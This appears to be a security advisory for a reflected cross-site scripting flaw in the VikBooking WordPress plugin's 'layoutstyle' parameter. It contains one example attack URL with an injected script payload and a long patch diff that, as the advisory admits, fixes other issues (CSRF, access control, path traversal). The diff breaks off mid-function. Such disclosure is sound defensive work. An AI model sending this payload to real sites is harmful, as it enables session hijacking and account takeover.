Published : June 30, 2026

CVE-2026-12754: VikBooking Hotel Booking Engine & PMS <= 1.8.12 Reflected Cross-Site Scripting via 'layoutstyle' Parameter PoC, Patch Analysis & Rule

Plugin vikbooking
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.8.12
Patched Version 1.8.13
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12754: This vulnerability is a Reflected Cross-Site Scripting (XSS) flaw in the VikBooking Hotel Booking Engine & PMS plugin for WordPress, affecting versions up to and including 1.8.12. An unauthenticated attacker can inject arbitrary web scripts via the ‘layoutstyle’ parameter when the [vikbooking view=”roomslist”] shortcode is rendered on a page. The CVSS score is 6.1 (Medium).

The root cause lies in insufficient input sanitization and output escaping of the ‘layoutstyle’ parameter within the roomslist view context. The vulnerable code path is triggered when WordPress renders the [vikbooking view=”roomslist”] shortcode. The plugin processes the ‘layoutstyle’ parameter from the request without proper validation or escaping, allowing an attacker to inject malicious JavaScript or HTML. The provided diff shows fixes in the admin controller (upload_customer_document and delete_customer_document functions) but does not directly show the XSS fix for the layoutstyle parameter, indicating the XSS vulnerability exists in the front-end shortcode handler, not in the admin area functions shown in this diff.

An attacker crafts a malicious URL containing a payload in the ‘layoutstyle’ parameter, appended to a page that uses the vulnerable shortcode. For example: http://target.com/rooms/?layoutstyle=”>alert(1). When a logged-in administrator or user visits this link, the injected script executes in their browser context. The attack requires user interaction (clicking a link) and the presence of the shortcode on the target page, but no authentication is needed to trigger the XSS.

The patch for this specific XSS issue (likely in a different file not shown in the provided diff) would escape or sanitize the ‘layoutstyle’ parameter before output. The provided diff shows fixes for other issues (CSRF protection, access control, path traversal) in the admin controller and a new report helper, but does not contain the layoutstyle XSS fix. The patched version (1.8.13) should properly escape the parameter using WordPress functions like esc_attr() or esc_html() before rendering in the shortcode output.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of a user viewing the infected page. This can lead to session hijacking, cookie theft, phishing attacks, defacement, or redirection to malicious sites. Since the XSS executes in the context of the victim’s session, an attacker could perform actions on behalf of an administrator, such as modifying plugin settings or creating new admin users, depending on the victim’s privileges.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/vikbooking/admin/controller.php
+++ b/vikbooking/admin/controller.php
@@ -13957,8 +13957,15 @@
 	 */
 	public function upload_customer_document()
 	{
-		$input = JFactory::getApplication()->input;
+		$app = JFactory::getApplication();
+
+		if (!JSession::checkToken()) {
+			// missing CSRF-proof token
+			VBOHttpDocument::getInstance($app)->close(403, JText::translate('JINVALID_TOKEN'));
+		}
+
 		$dbo   = JFactory::getDbo();
+		$input = $app->input;

 		$customer_id = $input->getUint('customer', 0);

@@ -13979,15 +13986,13 @@
 				->where($dbo->qn('id') . ' = ' . $customer_id);

 			$dbo->setQuery($q, 0, 1);
-			$dbo->execute();
+			$customer = $dbo->loadObject();

-			if (!$dbo->getNumRows())
+			if (!$customer)
 			{
 				throw new Exception(sprintf('Customer [%d] not found', $customer_id), 404);
 			}

-			$customer = $dbo->loadObject();
-
 			// fetch documents folder path
 			$dirpath = VBO_CUSTOMERS_PATH . DIRECTORY_SEPARATOR;

@@ -14044,8 +14049,7 @@
 			$result->code  = $e->getCode();
 		}

-		echo json_encode($result);
-		exit;
+		VBOHttpDocument::getInstance($app)->json($result);
 	}

 	/**
@@ -14057,8 +14061,19 @@
 	 */
 	public function delete_customer_document()
 	{
-		$input = JFactory::getApplication()->input;
+		$app = JFactory::getApplication();
+
+		if (!JSession::checkToken()) {
+			// missing CSRF-proof token
+			VBOHttpDocument::getInstance($app)->close(403, JText::translate('JINVALID_TOKEN'));
+		}
+
+		if (!JFactory::getUser()->authorise('core.delete', 'com_vikbooking')) {
+			VBOHttpDocument::getInstance($app)->close(403, JText::translate('JERROR_ALERTNOAUTHOR'));
+		}
+
 		$dbo   = JFactory::getDbo();
+		$input = $app->input;

 		$customer_id = $input->getUint('customer', 0);

@@ -14075,36 +14090,45 @@

 		if (!$dbo->getNumRows())
 		{
-			throw new Exception(sprintf('Customer [%d] not found', $customer_id), 404);
+			VBOHttpDocument::getInstance($app)->close(404, sprintf('Customer [%d] not found', $customer_id));
 		}

 		$folder = $dbo->loadResult();

 		if (!$folder)
 		{
-			throw new Exception('The customer does not have any documents', 500);
+			VBOHttpDocument::getInstance($app)->close(500, 'The customer does not have any documents');
 		}

 		$file = $input->getString('file');

 		if (!$file)
 		{
-			throw new Exception('File to remove not specified', 400);
+			VBOHttpDocument::getInstance($app)->close(400, 'File to remove not specified');
 		}

 		$path = implode(DIRECTORY_SEPARATOR, array(VBO_CUSTOMERS_PATH, $folder, $file));

 		if (!is_file($path))
 		{
-			throw new Exception(sprintf('File [%s] not found', $path), 404);
+			VBOHttpDocument::getInstance($app)->close(404, sprintf('File [%s] not found', $path));
 		}

-		jimport('joomla.filesystem.file');
+		/**
+		 * Accept only non-traversal paths under the customer docs folder.
+		 *
+		 * @since 	1.18.13 (J) - 1.8.13 (WP)
+		 */
+		$path = realpath($path);
+
+		if (!$path || strpos($path, VBO_CUSTOMERS_PATH) !== 0)
+		{
+			VBOHttpDocument::getInstance($app)->close(403, 'Path not allowed for file deletion.');
+		}

 		$removed = JFile::delete($path);

-		echo json_encode(array('status' => (int) $removed));
-		exit;
+		VBOHttpDocument::getInstance($app)->json(array('status' => (int) $removed));
 	}

 	/**
--- a/vikbooking/admin/helpers/einvoicing/drivers/mydata_aade.php
+++ b/vikbooking/admin/helpers/einvoicing/drivers/mydata_aade.php
@@ -1954,6 +1954,9 @@
 		$inv_tot_paid = empty($data[0]['totpaid']) ? $data[0]['total'] : $data[0]['totpaid'];
 		if ($correlated) {
 			$inv_tot_paid = $this->environmental_fee_details['fee_cost'];
+		} elseif (!$correlated && $inv_tot_paid > $data[0]['total']) {
+			// use the calculated booking total amount minus the environmental fees
+			$inv_tot_paid = $data[0]['total'];
 		}

 		// invoice payment method
--- a/vikbooking/admin/helpers/report/bookings.php
+++ b/vikbooking/admin/helpers/report/bookings.php
@@ -0,0 +1,818 @@
+<?php
+/**
+ * @package     VikBooking
+ * @subpackage  com_vikbooking
+ * @author      Alessio Gaggii - E4J srl
+ * @copyright   Copyright (C) 2026 E4J srl. All rights reserved.
+ * @license     GNU General Public License version 2 or later; see LICENSE
+ * @link        https://vikwp.com
+ */
+
+defined('ABSPATH') or die('No script kiddies please!');
+
+/**
+ * Bookings report.
+ *
+ * @since   1.18.13 (J) - 1.8.13 (WP)
+ */
+class VikBookingReportBookings extends VikBookingReport
+{
+    /**
+     * Property 'defaultKeySort' is used by the View that renders the report.
+     */
+    public $defaultKeySort = 'day';
+
+    /**
+     * Property 'defaultKeyOrder' is used by the View that renders the report.
+     */
+    public $defaultKeyOrder = 'ASC';
+
+    /**
+     * Property 'exportAllowed' is used by the View to display the export button.
+     */
+    public $exportAllowed = 1;
+
+    /**
+     * Debug mode is activated by passing the value 'e4j_debug' > 0
+     */
+    private $debug;
+
+    /**
+     * Class constructor should define the name of the report and
+     * other vars. Call the parent constructor to define the DB object.
+     */
+    public function __construct()
+    {
+        $this->reportFile = basename(__FILE__, '.php');
+        $this->reportName = JText::translate('VBMENUTHREE');
+        $this->reportFilters = [];
+
+        $this->cols = [];
+        $this->rows = [];
+        $this->footerRow = [];
+
+        $this->debug = JFactory::getApplication()->input->getBool('e4j_debug', false);
+
+        $this->registerExportCSVFileName();
+
+        parent::__construct();
+    }
+
+    /**
+     * Returns the name of this report.
+     *
+     * @return  string
+     */
+    public function getName()
+    {
+        return $this->reportName;
+    }
+
+    /**
+     * Returns the name of this file without .php.
+     *
+     * @return  string
+     */
+    public function getFileName()
+    {
+        return $this->reportFile;
+    }
+
+    /**
+     * Returns the filters of this report.
+     *
+     * @return  array
+     */
+    public function getFilters()
+    {
+        if ($this->reportFilters) {
+            // do not run this method twice, as it could load JS and CSS files.
+            return $this->reportFilters;
+        }
+
+        $app = JFactory::getApplication();
+
+        // get VBO Application Object
+        $vbo_app = VikBooking::getVboApplication();
+
+        // load the jQuery UI Datepicker
+        $this->loadDatePicker();
+
+        // From Date Filter
+        $filter_opt = array(
+            'label' => '<label for="fromdate">'.JText::translate('VBOREPORTSDATEFROM').'</label>',
+            'html' => '<input type="text" id="fromdate" name="fromdate" value="" class="vbo-report-datepicker vbo-report-datepicker-from" />',
+            'type' => 'calendar',
+            'name' => 'fromdate'
+        );
+        array_push($this->reportFilters, $filter_opt);
+
+        // To Date Filter
+        $filter_opt = array(
+            'label' => '<label for="todate">'.JText::translate('VBOREPORTSDATETO').'</label>',
+            'html' => '<input type="text" id="todate" name="todate" value="" class="vbo-report-datepicker vbo-report-datepicker-to" />',
+            'type' => 'calendar',
+            'name' => 'todate'
+        );
+        array_push($this->reportFilters, $filter_opt);
+
+        // Dates Type filter
+        $pdatetype = $app->input->getString('dates_type', 'checkin');
+        $filter_opt = array(
+            'label' => '<label for="dates_type">'.JText::translate('VBPSHOWSEASONSTHREE').'</label>',
+            'html' => '<select id="dates_type" name="dates_type">' .
+                      '<option value="checkin"' . ($pdatetype === 'checkin' ? ' selected="selected"' : '') . '>' . JText::translate('VBPICKUPAT') . '</option>' .
+                      '<option value="booking"' . ($pdatetype === 'booking' ? ' selected="selected"' : '') . '>' . JText::translate('VBPEDITBUSYTWO') . '</option>' .
+                      '<option value="stay"' . ($pdatetype === 'stay' ? ' selected="selected"' : '') . '>' . JText::translate('VBO_CONDTEXT_RULE_STAYDATES') . '</option>' .
+                      '</select>',
+            'type' => 'select',
+            'name' => 'dates_type'
+        );
+        array_push($this->reportFilters, $filter_opt);
+
+        // Listings Filter
+        $filter_opt = array(
+            'label' => '<label for="listingsfilt">' . JText::translate('VBO_LISTINGS') . '</label>',
+            'html' => '<span class="vbo-toolbar-multiselect-wrap">' . $vbo_app->renderElementsDropDown([
+                'id'              => 'listingsfilt',
+                'elements'        => 'listings',
+                'placeholder'     => JText::translate('VBO_LISTINGS'),
+                'allow_clear'     => 1,
+                'attributes'      => [
+                    'name' => 'listings[]',
+                    'multiple' => 'multiple',
+                ],
+                'selected_values' => (array) JFactory::getApplication()->input->get('listings', [], 'array'),
+            ]) . '</span>',
+            'type' => 'select',
+            'multiple' => true,
+            'name' => 'listings',
+        );
+        array_push($this->reportFilters, $filter_opt);
+
+        // get minimum check-in and maximum check-out for dates filters
+        $df = $this->getDateFormat();
+        $mincheckin = 0;
+        $maxcheckout = 0;
+        $q = "SELECT MIN(`checkin`) AS `mincheckin`, MAX(`checkout`) AS `maxcheckout` FROM `#__vikbooking_orders` WHERE `status`='confirmed' AND `closure`=0;";
+        $this->dbo->setQuery($q);
+        $data = $this->dbo->loadAssoc();
+        if (!empty($data['mincheckin']) && !empty($data['maxcheckout'])) {
+            $mincheckin = $data['mincheckin'];
+            $maxcheckout = $data['maxcheckout'];
+        }
+
+        // calendars setup
+        $pfromdate = $app->input->getString('fromdate', '');
+        $ptodate = $app->input->getString('todate', '');
+        $js = 'jQuery(function() {
+            jQuery(".vbo-report-datepicker:input").datepicker({
+                '.(!empty($mincheckin) ? 'minDate: "'.date($df, $mincheckin).'", ' : '').'
+                '.(!empty($maxcheckout) ? 'maxDate: "'.date($df, $maxcheckout).'", ' : '').'
+                '.(!empty($mincheckin) && !empty($maxcheckout) ? 'yearRange: "'.(date('Y', $mincheckin)).':'.date('Y', $maxcheckout).'", changeMonth: true, changeYear: true, ' : '').'
+                dateFormat: "'.$this->getDateFormat('jui').'",
+                onSelect: vboReportCheckDates
+            });
+            '.(!empty($pfromdate) ? 'jQuery(".vbo-report-datepicker-from").datepicker("setDate", "'.$pfromdate.'");' : '').'
+            '.(!empty($ptodate) ? 'jQuery(".vbo-report-datepicker-to").datepicker("setDate", "'.$ptodate.'");' : '').'
+        });
+        function vboReportCheckDates(selectedDate, inst) {
+            if (selectedDate === null || inst === null) {
+                return;
+            }
+            var cur_from_date = jQuery(this).val();
+            if (jQuery(this).hasClass("vbo-report-datepicker-from") && cur_from_date.length) {
+                var nowstart = jQuery(this).datepicker("getDate");
+                var nowstartdate = new Date(nowstart.getTime());
+                jQuery(".vbo-report-datepicker-to").datepicker("option", {minDate: nowstartdate});
+            }
+        }';
+        $this->setScript($js);
+
+        return $this->reportFilters;
+    }
+
+    /**
+     * Loads the report data from the DB.
+     * Returns true in case of success, false otherwise.
+     * Sets the columns and rows for the report to be displayed.
+     *
+     * @return  bool
+     */
+    public function getReportData()
+    {
+        if ($this->getError()) {
+            // export functions may set errors rather than exiting the process, and the View may continue the execution to attempt to render the report.
+            return false;
+        }
+
+        if ($this->rows) {
+            // method must have run already
+            return true;
+        }
+
+        $app = JFactory::getApplication();
+
+        // get the possibly injected report options
+        $options = $this->getReportOptions();
+
+        // injected options will replace request variables, if any
+        $opt_fromdate = $options->get('fromdate', '');
+        $opt_todate   = $options->get('todate', '');
+        $opt_dt_type  = $options->get('dates_type', '');
+
+        // input fields and other vars
+        $pfromdate = $opt_fromdate ?: $app->input->getString('fromdate', '');
+        $ptodate = $opt_todate ?: $app->input->getString('todate', '');
+        $pdatetype = $opt_dt_type ?: $app->input->getString('dates_type', '') ?: 'checkin';
+
+        $pkrsort = $app->input->getString('krsort', $this->defaultKeySort);
+        $pkrsort = empty($pkrsort) ? $this->defaultKeySort : $pkrsort;
+        $pkrorder = $app->input->getString('krorder', $this->defaultKeyOrder);
+        $pkrorder = empty($pkrorder) ? $this->defaultKeyOrder : $pkrorder;
+        $pkrorder = $pkrorder == 'DESC' ? 'DESC' : 'ASC';
+        $plistings = ((array) $app->input->get('listings', [], 'array')) ?: ((array) $options->get('listings', []));
+        $plistings = array_filter(array_map('intval', $plistings));
+
+        $currency_symb = VikBooking::getCurrencySymb();
+        $df = $this->getDateFormat();
+        $datesep = VikBooking::getDateSeparator();
+        if (empty($ptodate)) {
+            $ptodate = $pfromdate;
+        }
+
+        // get date timestamps
+        $from_ts = VikBooking::getDateTimestamp($pfromdate, 0, 0);
+        $to_ts = VikBooking::getDateTimestamp($ptodate, 23, 59, 59);
+        if (empty($pfromdate) || empty($from_ts) || empty($to_ts) || $from_ts > $to_ts) {
+            $this->setError(JText::translate('VBOREPORTSERRNODATES'));
+            return false;
+        }
+
+        // preferred date format
+        $df = $this->getDateFormat();
+        $datesep = VikBooking::getDateSeparator();
+
+        // determine stats calculation type
+        $calc_type = 'checkin';
+        if ($pdatetype === 'booking') {
+            $calc_type = 'booking_dates';
+        } elseif ($pdatetype === 'stay') {
+            $calc_type = 'stay_dates';
+        }
+
+        // access the finance helper object
+        $finance = VBOTaxonomyFinance::getInstance();
+
+        // force calculation options
+        $finance->setOptions([
+            'booking_level' => true,
+        ]);
+
+        // get the financial stats for the requested dates
+        try {
+            $stats = $finance->getStats(date('Y-m-d', $from_ts), date('Y-m-d', $to_ts), $plistings, $calc_type);
+        } catch (Exception $e) {
+            $this->setError($e->getMessage());
+            return false;
+        }
+
+        // define the columns of the report
+        $this->cols = [
+            // booking ID
+            [
+                'key' => 'bid',
+                'sortable' => 1,
+                'label' => JText::translate('VBDASHUPRESONE'),
+            ],
+            // date
+            [
+                'key' => 'day',
+                'sortable' => 1,
+                'label' => JText::translate('VBOREPORTREVENUEDAY'),
+            ],
+            // guest
+            [
+                'key' => 'guest',
+                'label' => JText::translate('VBO_GUEST'),
+            ],
+            // channel
+            [
+                'key' => 'channel',
+                'attr' => [
+                    'class="center"',
+                ],
+                'label' => JText::translate('VBOCHANNEL'),
+            ],
+            // rooms booked
+            [
+                'key' => 'roomsnum',
+                'attr' => [
+                    'class="center"',
+                ],
+                'sortable' => 1,
+                'label' => JText::translate('VBLIBTEN'),
+            ],
+            // nights booked
+            [
+                'key' => 'nights',
+                'attr' => [
+                    'class="center"',
+                ],
+                'sortable' => 1,
+                'label' => JText::translate('VBDAYS'),
+            ],
+            // taxes
+            [
+                'key' => 'taxes',
+                'attr' => [
+                    'class="center"',
+                ],
+                'sortable' => 1,
+                'label' => JText::translate('VBCALCRATESTAX'),
+            ],
+            // city taxes
+            [
+                'key' => 'city_taxes',
+                'attr' => [
+                    'class="center"',
+                ],
+                'sortable' => 1,
+                'label' => JText::translate('VBCALCRATESCITYTAX'),
+            ],
+            // fees
+            [
+                'key' => 'fees',
+                'attr' => [
+                    'class="center"',
+                ],
+                'sortable' => 1,
+                'label' => JText::translate('VBCALCRATESFEES'),
+            ],
+            // commissions
+            [
+                'key' => 'cmms',
+                'attr' => [
+                    'class="center"',
+                ],
+                'sortable' => 1,
+                'label' => JText::translate('VBTOTALCOMMISSIONS'),
+            ],
+            // damage deposit
+            [
+                'key' => 'damage_dep',
+                'attr' => [
+                    'class="center"',
+                ],
+                'sortable' => 1,
+                'label' => JText::translate('VBO_DAMAGE_DEPOSIT'),
+            ],
+            // options/extras
+            [
+                'key' => 'extras',
+                'attr' => [
+                    'class="center"',
+                ],
+                'sortable' => 1,
+                'label' => JText::translate('VBOREPORTOPTIONSEXTRAS'),
+            ],
+            // room revenue
+            [
+                'key' => 'revenue',
+                'attr' => [
+                    'class="center"',
+                ],
+                'sortable' => 1,
+                'label' => JText::translate('VBO_ROOM_REVENUE'),
+            ],
+            // grand total
+            [
+                'key' => 'total',
+                'attr' => [
+                    'class="center"',
+                ],
+                'sortable' => 1,
+                'label' => JText::translate('VBOREPORTSTOTALROW'),
+            ],
+            // amount paid
+            [
+                'key' => 'totalpaid',
+                'attr' => [
+                    'class="center"',
+                ],
+                'sortable' => 1,
+                'label' => JText::translate('VBPEDITBUSYTOTPAID'),
+            ],
+        ];
+
+        // options/extras counter
+        $extrasCounter = 0;
+
+        // grand total counter
+        $grandTotalCounter = 0;
+
+        // total paid counter
+        $totalPaidCounter = 0;
+
+        // iterate all bookings involved to build the report rows
+        foreach (($stats['bids'] ?? []) as $bookingId) {
+            try {
+                $registry = VBOBookingRegistry::getInstance(['id' => $bookingId]);
+            } catch (Exception $e) {
+                // ignore broken reservation and go next
+                continue;
+            }
+
+            // obtain booking-customer data
+            list($customer_nominative, $booking_avatar_src, $booking_avatar_alt) = $registry->getBookingCustomerData();
+
+            // extract booking details
+            $bookingChannel = $registry->getProperty('channel');
+            $bookingChannel = $registry->getProperty('idorderota') ? $bookingChannel : '';
+
+            // get booking revenue
+            $bookingRevenue = (float) $stats['_bid_stats'][$bookingId]['revenue'] ?? 0;
+
+            // get options/extras revenue
+            $extrasRevenue = max(0,
+                (float) $registry->getProperty('total', 0) -
+                $bookingRevenue -
+                ((float) $stats['_bid_stats'][$bookingId]['taxes'] ?? 0) -
+                ((float) $stats['_bid_stats'][$bookingId]['damage_deposits'] ?? 0) -
+                ((float) $stats['_bid_stats'][$bookingId]['cmms'] ?? 0)
+            );
+
+            // push report row for the current reservation
+            $this->rows[] = [
+                // booking ID
+                [
+                    'key' => 'bid',
+                    'callback' => function ($val) {
+                        return '<a href="index.php?option=com_vikbooking&task=editorder&cid[]='.$val.'" target="_blank"><i class="'.VikBookingIcons::i('external-link').'"></i> '.$val.'</a>';
+                    },
+                    'no_export_callback' => 1,
+                    'value' => $registry->getID(),
+                ],
+                // date
+                [
+                    'key' => 'day',
+                    'callback' => function ($val) use ($df, $datesep) {
+                        return date(str_replace("/", $datesep, $df), $val);
+                    },
+                    'value' => $registry->getProperty('ts', 0),
+                ],
+                // guest
+                [
+                    'key' => 'guest',
+                    'value' => $customer_nominative,
+                ],
+                // channel
+                [
+                    'key' => 'channel',
+                    'attr' => [
+                        'class="center"',
+                    ],
+                    'callback' => function ($val) use ($booking_avatar_src) {
+                        if ($val && $booking_avatar_src) {
+                            $channelparts = explode('_', $val);
+                            return ($channelparts[1] ?? '') ?: $val;
+                        }
+                        return JText::translate('VBORDFROMSITE');
+                    },
+                    'value' => $bookingChannel,
+                ],
+                // rooms booked
+                [
+                    'key' => 'roomsnum',
+                    'attr' => [
+                        'class="center"',
+                    ],
+                    'value' => $registry->getProperty('roomsnum', 1),
+                ],
+                // nights booked
+                [
+                    'key' => 'nights',
+                    'attr' => [
+                        'class="center"',
+                    ],
+                    'value' => $registry->getProperty('days', 1),
+                ],
+                // taxes
+                [
+                    'key' => 'taxes',
+                    'attr' => [
+                        'class="center"',
+                    ],
+                    'callback' => function ($val) use ($currency_symb) {
+                        return VikBooking::formatCurrencyNumber(
+                            VikBooking::numberFormat($val),
+                            $currency_symb
+                        );
+                    },
+                    'value' => $stats['_bid_stats'][$bookingId]['tot_vat'] ?? 0,
+                ],
+                // city taxes
+                [
+                    'key' => 'city_taxes',
+                    'attr' => [
+                        'class="center"',
+                    ],
+                    'callback' => function ($val) use ($currency_symb) {
+                        return VikBooking::formatCurrencyNumber(
+                            VikBooking::numberFormat($val),
+                            $currency_symb
+                        );
+                    },
+                    'value' => $stats['_bid_stats'][$bookingId]['city_taxes'] ?? 0,
+                ],
+                // fees
+                [
+                    'key' => 'fees',
+                    'attr' => [
+                        'class="center"',
+                    ],
+                    'callback' => function ($val) use ($currency_symb) {
+                        return VikBooking::formatCurrencyNumber(
+                            VikBooking::numberFormat($val),
+                            $currency_symb
+                        );
+                    },
+                    'value' => $registry->getProperty('tot_fees', 0),
+                ],
+                // commissions
+                [
+                    'key' => 'cmms',
+                    'attr' => [
+                        'class="center"',
+                    ],
+                    'callback' => function ($val) use ($currency_symb) {
+                        return VikBooking::formatCurrencyNumber(
+                            VikBooking::numberFormat($val),
+                            $currency_symb
+                        );
+                    },
+                    'value' => $stats['_bid_stats'][$bookingId]['cmms'] ?? 0,
+                ],
+                // damage deposit
+                [
+                    'key' => 'damage_dep',
+                    'attr' => [
+                        'class="center"',
+                    ],
+                    'callback' => function ($val) use ($currency_symb) {
+                        return VikBooking::formatCurrencyNumber(
+                            VikBooking::numberFormat($val),
+                            $currency_symb
+                        );
+                    },
+                    'value' => $stats['_bid_stats'][$bookingId]['damage_deposits'] ?? 0,
+                ],
+                // options/extras
+                [
+                    'key' => 'extras',
+                    'attr' => [
+                        'class="center"',
+                    ],
+                    'callback' => function ($val) use ($currency_symb) {
+                        return VikBooking::formatCurrencyNumber(
+                            VikBooking::numberFormat($val),
+                            $currency_symb
+                        );
+                    },
+                    'value' => $extrasRevenue,
+                ],
+                // revenue
+                [
+                    'key' => 'revenue',
+                    'attr' => [
+                        'class="center"',
+                    ],
+                    'callback' => function ($val) use ($currency_symb) {
+                        return VikBooking::formatCurrencyNumber(
+                            VikBooking::numberFormat($val),
+                            $currency_symb
+                        );
+                    },
+                    'value' => $bookingRevenue,
+                ],
+                // grand total
+                [
+                    'key' => 'total',
+                    'attr' => [
+                        'class="center"',
+                    ],
+                    'callback' => function ($val) use ($currency_symb) {
+                        return VikBooking::formatCurrencyNumber(
+                            VikBooking::numberFormat($val),
+                            $currency_symb
+                        );
+                    },
+                    'value' => $registry->getProperty('total', 0),
+                ],
+                // amount paid
+                [
+                    'key' => 'totalpaid',
+                    'attr' => [
+                        'class="center"',
+                    ],
+                    'callback' => function ($val) use ($currency_symb) {
+                        return VikBooking::formatCurrencyNumber(
+                            VikBooking::numberFormat($val),
+                            $currency_symb
+                        );
+                    },
+                    'value' => $registry->getProperty('totpaid', 0),
+                ],
+            ];
+
+            // increase options/extras counter
+            $extrasCounter += $extrasRevenue;
+
+            // increase grand total counter
+            $grandTotalCounter += $registry->getProperty('total', 0);
+
+            // increase total paid counter
+            $totalPaidCounter += $registry->getProperty('totpaid', 0);
+        }
+
+        // sort rows
+        $this->sortRows($pkrsort, $pkrorder);
+
+        // push footer row with the calculated financial stats
+        $this->footerRow[] = [
+            // booking ID
+            [
+                'attr' => [
+                    'class="vbo-report-total"',
+                ],
+                'value' => '<h3>' . JText::translate('VBOREPORTSTOTALROW') . '</h3>',
+            ],
+            // date
+            [
+                'value' => '',
+            ],
+            // guest
+            [
+                'value' => '',
+            ],
+            // channel
+            [
+                'value' => '',
+            ],
+            // rooms booked
+            [
+                'attr' => [
+                    'class="center"',
+                ],
+                'value' => $stats['rooms_booked'] ?? 0,
+            ],
+            // nights booked
+            [
+                'attr' => [
+                    'class="center"',
+                ],
+                'value' => $stats['nights_booked'] ?? 0,
+            ],
+            // taxes
+            [
+                'attr' => [
+                    'class="center"',
+                ],
+                'callback' => function ($val) use ($currency_symb) {
+                    return VikBooking::formatCurrencyNumber(
+                        VikBooking::numberFormat($val),
+                        $currency_symb
+                    );
+                },
+                'value' => $stats['tot_vat'] ?? 0,
+            ],
+            // city taxes
+            [
+                'attr' => [
+                    'class="center"',
+                ],
+                'callback' => function ($val) use ($currency_symb) {
+                    return VikBooking::formatCurrencyNumber(
+                        VikBooking::numberFormat($val),
+                        $currency_symb
+                    );
+                },
+                'value' => $stats['city_taxes'] ?? 0,
+            ],
+            // fees
+            [
+                'attr' => [
+                    'class="center"',
+                ],
+                'callback' => function ($val) use ($currency_symb) {
+                    return VikBooking::formatCurrencyNumber(
+                        VikBooking::numberFormat($val),
+                        $currency_symb
+                    );
+                },
+                'value' => 0,
+            ],
+            // commissions
+            [
+                'attr' => [
+                    'class="center"',
+                ],
+                'callback' => function ($val) use ($currency_symb) {
+                    return VikBooking::formatCurrencyNumber(
+                        VikBooking::numberFormat($val),
+                        $currency_symb
+                    );
+                },
+                'value' => $stats['ota_cmms'] ?? 0,
+            ],
+            // damage deposit
+            [
+                'attr' => [
+                    'class="center"',
+                ],
+                'callback' => function ($val) use ($currency_symb) {
+                    return VikBooking::formatCurrencyNumber(
+                        VikBooking::numberFormat($val),
+                        $currency_symb
+                    );
+                },
+                'value' => $stats['damage_deposits'] ?? 0,
+            ],
+            // options/extras
+            [
+                'attr' => [
+                    'class="center"',
+                ],
+                'callback' => function ($val) use ($currency_symb) {
+                    return VikBooking::formatCurrencyNumber(
+                        VikBooking::numberFormat($val),
+                        $currency_symb
+                    );
+                },
+                'value' => $extrasCounter,
+            ],
+            // room revenue
+            [
+                'attr' => [
+                    'class="center"',
+                ],
+                'callback' => function ($val) use ($currency_symb) {
+                    return VikBooking::formatCurrencyNumber(
+                        VikBooking::numberFormat($val),
+                        $currency_symb
+                    );
+                },
+                'value' => $stats['revenue'] ?? 0,
+            ],
+            // grand total
+            [
+                'attr' => [
+                    'class="center"',
+                ],
+                'callback' => function ($val) use ($currency_symb) {
+                    return VikBooking::formatCurrencyNumber(
+                        VikBooking::numberFormat($val),
+                        $currency_symb
+                    );
+                },
+                'value' => $grandTotalCounter,
+            ],
+            // amount paid
+            [
+                'attr' => [
+                    'class="center"',
+                ],
+                'callback' => function ($val) use ($currency_symb) {
+                    return VikBooking::formatCurrencyNumber(
+                        VikBooking::numberFormat($val),
+                        $currency_symb
+                    );
+                },
+                'value' => $totalPaidCounter,
+            ],
+        ];
+
+        // Debug
+        if ($this->debug) {
+            $this->setWarning('path to report file = '.urlencode(dirname(__FILE__)).'<br/>');
+            $this->setWarning('$stats:<pre>'.print_r($stats, true).'</pre><br/>');
+        }
+
+        return true;
+    }
+
+    /**
+     * Registers the name to give to the CSV file being exported.
+     *
+     * @return  void
+     */
+    private function registerExportCSVFileName()
+    {
+        $app = JFactory::getApplication();
+
+        $pfromdate = $app->input->getString('fromdate', '');
+        $ptodate = $app->input->getString('todate', '');
+
+        $this->setExportCSVFileName($this->reportName . '-' . str_replace('/', '_', $pfromdate) . '-' . str_replace('/', '_', $ptodate) . '.csv');
+    }
+}
--- a/vikbooking/admin/helpers/report/rms_occupancy_pace.php
+++ b/vikbooking/admin/helpers/report/rms_occupancy_pace.php
@@ -842,6 +842,13 @@
                 'label' => JText::translate('VBO_VARIATION'),
                 'center' => 1,
             ],
+            // Room Revenue
+            [
+                'key' => 'roomrev',
+                'label' => JText::translate('VBO_ROOM_REVENUE'),
+                'sortable' => $sortingAllowed,
+                'center' => 1,
+            ],
             // Gross Booking Revenue
             [
                 'key' => 'grossrev',
@@ -1099,6 +1106,15 @@
                         ],
                         'center' => 1,
                     ],
+                    // Room Revenue
+                    [
+                        'key' => 'roomrev',
+                        'value' => array_sum((array) ($paceData['pace'][$targetIndex][$parseIndex]['roomrev'] ?? [])),
+                        'center' => 1,
+                        'callback' => function($metric) {
+                            return VikBooking::formatCurrencyNumber($metric);
+                        },
+                    ],
                     // Gross Booking Revenue
                     [
                         'key' => 'grossrev',
--- a/vikbooking/admin/helpers/src/booking/registry.php
+++ b/vikbooking/admin/helpers/src/booking/registry.php
@@ -1247,4 +1247,56 @@

         return array_values(array_unique($addresses));
     }
+
+    /**
+     * Returns the booking routed URI, either in its regular or shorten forms.
+     *
+     * @return  string
+     *
+     * @since   1.18.13 (J) - 1.8.13 (WP)
+     */
+    public function getBookingLink(bool $shorten = false)
+    {
+        // construct booking link
+        $useSid = !$this->getProperty('sid') && $this->getProperty('idorderota') ? $this->getProperty('idorderota') : $this->getProperty('sid');
+        $bestItemid = VikBooking::findProperItemIdType(['booking'], ($this->getProperty('lang') ?: null));
+        $langSuffix = $bestItemid && $this->getProperty('lang') ? '&lang=' . $this->getProperty('lang') : '';
+
+        $bookingLink = VikBooking::externalroute("index.php?option=com_vikbooking&view=booking&sid=" . $useSid . "&ts=" . $this->getProperty('ts') . $langSuffix, false, ($bestItemid ?: null));
+
+        if (!$shorten) {
+            return $bookingLink;
+        }
+
+        // access the model for shortening URLs
+        $model = VBOModelShortenurl::getInstance($onlyRouted = false)->setBooking($this->getData());
+
+        return $model->getShortUrl($bookingLink);
+    }
+
+    /**
+     * Returns the booking pre-check-in routed URI, either in its regular or shorten forms.
+     *
+     * @return  string
+     *
+     * @since   1.18.13 (J) - 1.8.13 (WP)
+     */
+    public function getPrecheckinLink(bool $shorten = false)
+    {
+        // obtain booking link
+        $useSid = !$this->getProperty('sid') && $this->getProperty('idorderota') ? $this->getProperty('idorderota') : $this->getProperty('sid');
